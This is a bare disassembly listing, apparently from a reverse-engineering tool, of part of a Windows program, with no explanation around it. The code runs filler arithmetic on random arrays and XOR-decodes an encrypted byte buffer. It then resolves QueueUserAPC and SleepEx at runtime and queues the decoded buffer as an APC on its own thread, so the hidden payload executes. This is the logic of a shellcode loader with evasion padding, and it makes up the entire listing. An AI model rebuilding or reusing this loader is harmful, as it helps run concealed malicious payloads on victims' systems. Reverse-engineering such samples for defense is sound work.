sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x780]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x5b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x77c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x780]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x5b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x77c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x77c], 1
cmp dword [rbp + 0x77c], 0x1b
jle 0x14000293d
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x22
jle 0x14000292e
mov dword [rbp + 0x780], 0
jmp 0x140002aef
mov dword [rbp + 0x77c], 0
jmp 0x140002adb
mov eax, dword [rbp + 0x780]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x5b8]
add rdx, rax
mov eax, dword [rbp + 0x77c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x780]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x5b0]
add rdx, rax
mov eax, dword [rbp + 0x77c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x780]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x5a8]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x77c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x77c], 1
cmp dword [rbp + 0x77c], 0x1b
jle 0x140002a3d
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x22
jle 0x140002a2e
mov rax, qword [rbp + 0x5b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x788], 0
jmp 0x140002b3c
add dword [rbp + 0x788], 1
add dword [rbp + 0x78c], 1
mov eax, dword [rbp + 0x78c]
cmp eax, 0x6c
jbe 0x1400028b4
mov dword [rbp + 0x78c], 0
jmp 0x140002c07
mov eax, dword [rbp + 0x78c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x784]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x78c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov qword [rbp + 0x770], 0
mov dword [rbp + 0x5c4], 0xf5
mov dword [rbp + 0x778], 1
jmp 0x140002bd6
mov eax, dword [rbp + 0x778]
cdqe
add qword [rbp + 0x770], rax
add dword [rbp + 0x778], 1
mov eax, dword [rbp + 0x778]
cmp eax, dword [rbp + 0x5c4]
jle 0x140002bc0
cmp dword [rbp + 0x784], 0x6c
jne 0x140002bf9
mov dword [rbp + 0x784], 0
jmp 0x140002c00
add dword [rbp + 0x784], 1
add dword [rbp + 0x78c], 1
cmp dword [rbp + 0x78c], 0x457
jle 0x140002b61
mov rax, qword [rbp + 0x5e8]
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5d8]
mov r9, qword [rbp + 0x5d0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5c8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x868
pop rbx
pop rsi
pop rdi
pop rbp
ret